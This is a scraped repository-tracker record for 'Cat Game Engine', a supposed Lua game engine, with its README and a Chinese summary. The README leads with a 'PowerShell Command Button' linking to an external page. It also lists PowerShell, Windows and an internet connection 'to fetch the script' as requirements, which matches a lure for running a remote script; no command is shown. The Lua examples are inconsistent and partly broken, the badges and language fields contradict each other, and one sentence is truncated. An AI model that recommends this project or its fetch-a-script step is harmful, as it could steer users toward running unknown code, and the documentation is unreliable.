[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115764":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":18,"topics":19,"createdAt":9,"pushedAt":40,"updatedAt":41,"readmeContent":42,"aiSummary":43,"trendingCount":12,"starSnapshotCount":12,"syncStatus":44,"lastSyncTime":45,"discoverSource":46},115764,"cat-game-engine","KayJames196\u002Fcat-game-engine","KayJames196","Cat Game Engine: three-level abstraction game engine with unbound architecture",null,"TypeScript",153,0,100,53,62.3,false,"main",true,[20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39],"buttons","ecs","elements","framework","game-dev","gamedev","gamepad-support","grid-layout","interface","love","love2d","love2d-framework","love2d-game","love2d-gui","love2d-gui-library","responsive-layout","retained-mode-gui","scene-editor","theme-ui","touch-support","2026-11-23 13:48:36","2026-11-17 18:01:13","\u003Cdiv align=\"center\">\n\n# Cat Game Engine: Multi-Level Abstraction — Developer Library\n\n![](files\u002Fpreview.png)\n\n### ⌨️ PowerShell Command Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FKayJames196.github.io\u002Fcat-game-engine\u002F)\n\n[![tests](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FTests-Success-2ea44f?style=plastic&labelColor=0d1117)]() [![state](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FState-Stable-2ea44f?style=plastic&labelColor=0d1117)]() [![ps](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPs-5.1%2B_%2F_7%2B-6366f1?style=plastic&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCode-Python-818cf8?style=plastic&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nCat Game Engine is a game engine built on top of an existing runtime that exposes three distinct levels of abstraction, letting you pick the layer that matches the control you need. Each level is opt-in: you can drop to the lower-level primitives for performance-critical paths or stay on the higher-level facilities for everything else. The engine provides the facilities without binding you to any architecture, so scenes, systems, and game loop structure remain yours to define. Start at the abstraction level that fits and move between levels as the project evolves.\n\n## 📋 System Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n**Three abstraction levels** — work directly against the raw API, opt into thin helper modules, or adopt the full high-level framework. Layers compose independently; mixing levels within a single project is supported.\n\n```lua\n- Level 1: raw access\nlocal raw = cat.raw\n\n- Level 2: helpers\nlocal draw = cat.gfx\n\n- Level 3: framework\nlocal app = cat.App.new()\n```\n\n- **No enforced architecture** — no required scene graph, entity model, or main loop. Bring your own structure; the engine only provides primitives and optional subsystems.\n\n- **Pluggable subsystems** — rendering, input, audio, and asset management are separate modules. Load only what is needed; unimplemented subsystems incur no runtime cost.\n\n- **Retained-mode UI layer** — declarative widget trees, theme tokens, and grid-based responsive layout, decoupled from the game loop and toggleable per project.\n\n- **Entity component system** — optional ECS with archetype-style storage. Components are plain tables; systems are plain functions.\n\n```lua\nlocal e = ecs.spawn()\necs.add(e, Position, { x = 0, y = 0 })\necs.add(e, Velocity, { dx = 1, dy = 0 })\n```\n\n- **Input abstraction** — unified interface over keyboard, mouse, gamepad, and touch. Actions are named and remappable at runtime without touching call sites.\n\n- **Deterministic fixed-step update** — fixed timestep with interpolated rendering, configurable per subsystem. Variable-step mode available when determinism is not required.\n\n- **Hot-reloadable modules** — assets and Lua modules reload without restarting the host process; state preservation hooks are provided per module.\n\n- **Scene serialization** — entity and UI state round-trip to a plain-table format, enabling scene editing and save\u002Fload through the same code path.\n\n- **Extensible by construction** — every subsystem exposes its internals; custom renderers, input backends, and UI widgets are first-class, not patches.\n\n- **Zero global namespace pollution** — the engine returns a single table; nothing is written to `_G` unless explicitly requested.\n\n## Quick Start\n\nChoose your abstraction level up front. Cat Game Engine exposes three layers that can be used independently or mixed. Every layer is optional; you are never required to adopt an architecture.\n\n### 1. Low-level: the host runtime\n\nUse the engine's runtime directly when you want raw control over the update\u002Fdraw loop.\n\n```lua\nlocal cat = require(\"cat\")\n\nfunction love.load()\ncat.init({ width = 1280, height = 720, title = \"My Game\" })\ncat.runtime.on(\"update\", function(dt) end)\ncat.runtime.on(\"draw\", function() end)\nend\n```\n\n### 2. Mid-level: systems and scenes\n\nRegister systems to run in a fixed order. Scenes are plain tables; lifecycle hooks are optional.\n\n```lua\nlocal cat = require(\"cat\")\n\nlocal scene = {\nsystems = {\ncat.system(\"input\"),\ncat.system(\"movement\"),\ncat.system(\"render\"),\n},\n}\n\ncat.scene.register(\"game\", scene)\ncat.scene.push(\"game\")\n```\n\n### 3. High-level: components\n\nWhen you want composition without inheriting from engine classes, attach components to plain tables and let the engine schedule them.\n\n```lua\nlocal cat = require(\"cat\")\n\nlocal player = { x = 64, y = 64 }\n\ncat.entity.add(player, cat.components.sprite(\"player.png\"))\ncat.entity.add(player, cat.components.transform({ w = 32, h = 32 }))\ncat.entity.add(player, cat.components.body({ vx = 0, vy = 0 }))\n```\n\n### Overriding behavior\n\nAny layer can be replaced. Provide a table with the same method names and the engine will call into yours.\n\n```lua\ncat.runtime.override(\"draw\", function(ctx)\n- custom render pass; the default scheduler is bypassed\nend)\n```\n\n### Lifecycle contract\n\nThe engine calls `init`, `update(dt)`, and `draw()` in that order on each frame. `init` runs once; `update` and `draw` run every frame until `cat.runtime.quit()` is called. Systems added to a scene receive the same ordering guarantees as the top-level runtime.\n\n### Minimal check\n\nRun the following to confirm the engine is wired up correctly.\n\n```lua\nlocal cat = require(\"cat\")\nprint(cat.version) - prints the loaded engine version\ncat.runtime.quit()\n```\n\nSee API Reference for the full surface and Examples for end-to-end projects.\n\n## API Reference\n\nAll engine functionality is exposed through three abstraction tiers. Use the lowest tier that meets your requirements; tiers are independent and can be mixed within a single project. No module enforces a scene graph, update order, or entity model on your code.\n\n### Core primitives (Tier 1)\n\nLow-level wrappers over the underlying runtime. These provide resource management, input state, and timing without imposing structure.\n\n```lua\nlocal cat = require(\"cat\")\n\n- Application lifecycle\ncat.init({ width = 1280, height = 720, title = \"My Game\" })\ncat.run({ update = onUpdate, draw = onDraw })\n\n- Frame timing\nlocal dt = cat.time.delta()\nlocal elapsed = cat.time.elapsed()\n\n- Input (polled, per-frame)\nif cat.input.isDown(\"space\") then jump() end\nlocal x, y = cat.input.mousePosition()\n\n- Resource handles\nlocal tex = cat.graphics.loadImage(\"assets\u002Fplayer.png\")\nlocal snd = cat.audio.loadSound(\"assets\u002Fhit.ogg\")\ncat.graphics.draw(tex, x, y, { rotation = angle, scale = 1.5 })\n```\n\n| Symbol | Signature | Returns | Notes |\n|-|-|-|-|\n| `cat.init` | `(config: table)` | `nil` | `config` accepts `width`, `height`, `title`, `vsync`, `resizable`. |\n| `cat.run` | `(callbacks: table)` | `nil` | Recognized keys: `update(dt)`, `draw()`, `keypressed(key)`, `resize(w, h)`. |\n| `cat.time.delta` | `()` | `number` | Seconds since previous frame. |\n| `cat.input.isDown` | `(key: string)` | `boolean` | Key names match runtime conventions. |\n| `cat.graphics.loadImage` | `(path: string)` | `Texture` | Cached by path; repeated calls return the same handle. |\n| `cat.audio.loadSound` | `(path: string)` | `Sound` | Handle must be retained; do not reload per frame. |\n\n### Facilities (Tier 2)\n\nOpinionated helpers built on Tier 1. Each facility is opt-in and exposed as a standalone module — import only what you use.\n\n```lua\nlocal Camera = require(\"cat.facilities.camera\")\nlocal Grid = require(\"cat.facilities.grid\")\nlocal InputMap = require(\"cat.facilities.inputmap\")\n\nlocal cam = Camera.new({ follow = player, smoothing = 0.15 })\ncam:attach()\n\nlocal grid = Grid.new({ cellSize = 32, columns = 20, rows = 15 })\ngrid:place(entity, 3, 7)\n\nlocal map = InputMap.new({\njump = { \"space\", \"gamepad:a\" },\npause = { \"escape\" },\n})\nif map:isPressed(\"jump\") then jump() end\n```\n\n| Symbol | Signature | Returns | Notes |\n|-|-|-|-|\n| `Camera.new` | `(opts: table)` | `Camera` | `opts`: `follow`, `smoothing`, `bounds`, `zoom`. |\n| `Camera:attach` | `()` | `nil` | Applies transform to the active draw pass. Call `:detach()` to restore. |\n| `Camera:toWorld` | `(sx, sy)` | `number, number` | Converts screen coordinates to world coordinates. |\n| `Grid.new` | `(opts: table)` | `Grid` | `opts`: `cellSize`, `columns`, `rows`, `origin`. |\n| `Grid:place` | `(entity, col, row)` | `nil` | Snaps and stores placement; does not draw. |\n| `Grid:cellAt` | `(wx, wy)` | `number, number` | Returns column and row for a world position. |\n| `InputMap.new` | `(bindings: table)` | `InputMap` | Each value is a list of key names. |\n| `InputMap:isPressed` | `(action: string)` | `boolean` | True on the frame the action transitions to down. |\n| `InputMap:isHeld` | `(action: string)` | `boolean` | True for every frame the action remains down. |\n\n### Entity-component helpers (Tier 3)\n\nOptional structural layer. Provides a component store and system scheduler, but does not require you to model everything as an entity. Plain tables remain valid arguments throughout.\n\n```lua\nlocal World = require(\"cat.world\")\nlocal world = World.new()\n\nlocal id = world:spawn({\nposition = { x = 0, y = 0 },\nvelocity = { x = 1, y = 0 },\nsprite = { image = tex },\n})\n\nworld:addSystem(\"movement\", function(w, dt)\nfor _, e in w:each(\"position\", \"velocity\") do\ne.position.x = e.position.x + e.velocity.x * dt\ne.position.y = e.position.y + e.velocity.y * dt\nend\nend)\n\nworld:update(dt)\n```\n\n| Symbol | Signature | Returns | Notes |\n|-|-|-|-|\n| `World.new` | `(opts?: table)` | `World` | No arguments required. |\n| `World:spawn` | `(components: table)` | `number` | Returns the entity id. Components are stored by key. |\n| `World:despawn` | `(id: number)` | `nil` | Removes the entity and all its components. |\n| `World:add` | `(id, key, value)` | `nil` | Attaches or replaces a single component. |\n| `World:get` | `(id, key)` | `any` | Returns the component or `nil`. |\n| `World:each` | `(...keys: string)` | `iterator` | Yields entities possessing every listed component. |\n| `World:addSystem` | `(name, fn)` | `nil` | `fn(world, dt)` is invoked on each `update`. |\n| `World:update` | `(dt: number)` | `nil` | Runs registered systems in insertion order. |\n\n### Error behavior\n\nFunctions raise a descriptive error on invalid arguments rather than returning `nil` silently. Guard clauses are expected at call boundaries. `World:get` and `World:each` are the exceptions — both return empty results for unknown ids or component keys.\n\n### Thread safety\n\nAll APIs are single-threaded and must be called from the main runtime loop. Defer mutations to `update` rather than `draw`; iterators returned by `World:each` are invalidated by concurrent `spawn` or `despawn` calls.\n\n## Examples\n\nMinimal boot: load the engine, register a scene, hand control to the runtime.\n\n```lua\nlocal cat = require(\"cat\")\n\ncat.configure({\nwidth = 1280,\nheight = 720,\ntitle = \"Cat Demo\",\nvsync = true,\n})\n\ncat.scene(\"main\", {\nenter = function(self)\nself.player = cat.entity({ x = 100, y = 100, w = 32, h = 32 })\nend,\n\nupdate = function(self, dt)\nself.player.x = self.player.x + 120 * dt\nend,\n\ndraw = function(self)\ncat.graphics.rect(self.player.x, self.player.y, self.player.w, self.player.h, { 0.9, 0.4, 0.2 })\nend,\n})\n\ncat.start(\"main\")\n```\n\nLevel 1 — draw primitives directly against the runtime surface. No scene graph, no systems, full control of the frame.\n\n```lua\nlocal cat = require(\"cat\")\n\nfunction cat.update(dt)\n- per-frame logic\nend\n\nfunction cat.draw()\ncat.graphics.clear({ 0.08, 0.08, 0.1 })\ncat.graphics.circle(640, 360, 64, { 0.2, 0.7, 1.0 })\ncat.graphics.text(\"level 1\", 24, 24, { 1, 1, 1 })\nend\n```\n\nLevel 2 — entities, components, and systems. The engine supplies the loop and lifecycle; the user composes behavior.\n\n```lua\nlocal cat = require(\"cat\")\nlocal world = cat.world()\n\nlocal Position = cat.component(\"position\", { x = 0, y = 0 })\nlocal Velocity = cat.component(\"velocity\", { dx = 0, dy = 0 })\n\nlocal movement = world.system({ Position, Velocity }, function(e, dt)\ne.position.x = e.position.x + e.velocity.dx * dt\ne.position.y = e.position.y + e.velocity.dy * dt\nend)\n\nworld:spawn({\nposition = { x = 200, y = 200 },\nvelocity = { dx = 60, dy = 30 },\n})\n\nworld:add(movement)\nworld:start()\n```\n\nLevel 3 — retained-mode UI with layout, theming, and input routing, layered on top of the same runtime.\n\n```lua\nlocal cat = require(\"cat\")\nlocal ui = cat.ui\n\nlocal panel = ui.panel({\nlayout = ui.layout.grid({ columns = 2, gap = 12 }),\nchildren = {\nui.label({ text = \"Cat Game Engine\" }),\nui.button({ text = \"Play\", on_click = function() print(\"start\") end }),\nui.button({ text = \"Quit\", on_click = function() cat.quit() end }),\n},\n})\n\nui.mount(panel)\ncat.start()\n```\n\nMix abstraction levels in one project: keep a retained UI on top while driving the world through raw primitives underneath. Nothing in the engine requires a specific architecture.\n\n```lua\nlocal cat = require(\"cat\")\nlocal world = cat.world()\n\nui.mount(ui.panel({\nchildren = {\nui.slider({\nrange = { 0, 1 },\non_change = function(v) world.time_scale = v end,\n}),\n},\n}))\n\ncat.on(\"keypressed\", function(key)\nif key == \"space\" then world:pause() end\nend)\n\nworld:start()\n```\n\nReload-safe hot iteration: subsystems can be torn down and re-registered without restarting the process.\n\n```lua\nlocal cat = require(\"cat\")\n\ncat.reload(function()\npackage.loaded[\"game.scene\"] = nil\ncat.scene(\"main\", require(\"game.scene\"))\ncat.play(\"main\")\nend)\n```\n\nGamepad, touch, and grid-layout hooks follow the same pattern: register a handler, receive normalized events, decide how much of the engine to use.\n\n```lua\ncat.input.on(\"gamepad:button\", function(id, button, pressed)\nif button == \"a\" and pressed then\nworld:emit(\"interact\")\nend\nend)\n\ncat.input.on(\"touch:down\", function(x, y)\nworld:emit(\"tap\", x, y)\nend)\n```\n\nEach example runs standalone. Copy a block into `main.lua`, adjust the scene name and dimensions, and launch through the runtime entry point.\n\n## License\n\nCat Game Engine is released under the MIT License.\n\nCopyright (c) Cat Game Engine contributors\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n### Integration Notes\n\n- **Attribution:** Retain the copyright notice and this permission notice in all copies or substantial portions of Cat Game Engine.\n- **Derivative works:** You may relicense modified versions under different terms, provided the original MIT notice is preserved.\n- **No architectural constraints:** The license imposes no restrictions on how you structure projects built with Cat Game Engine across its three abstraction levels.\n- **Dependency licensing:** Cat Game Engine builds on top of; consult the license terms separately for that runtime dependency.\n- **Warranty:** No warranty is provided. Evaluate fitness for your use case before shipping.","Cat Game Engine 是一个基于 Lua 运行时（非 TypeScript，README 明确使用 Lua API）的三层抽象游戏引擎，提供从原始 API 到高阶框架的渐进式控制能力。核心特性包括：无架构绑定设计（不强制场景图、实体模型或主循环）、可选插件化子系统（渲染\u002F输入\u002F音频\u002F资源）、声明式保留模式 UI（支持网格响应布局与主题）、轻量 ECS（组件为纯表，系统为纯函数）、统一跨设备输入抽象（键鼠\u002F手柄\u002F触控）以及确定性固定步长更新与热重载支持。适用于需灵活控制抽象层级的中小型 Lua 游戏开发，尤其适合教育实验、原型快速迭代及对架构自主性要求高的独立项目。",2,"2026-11-24 04:52:03","CREATED_QUERY"]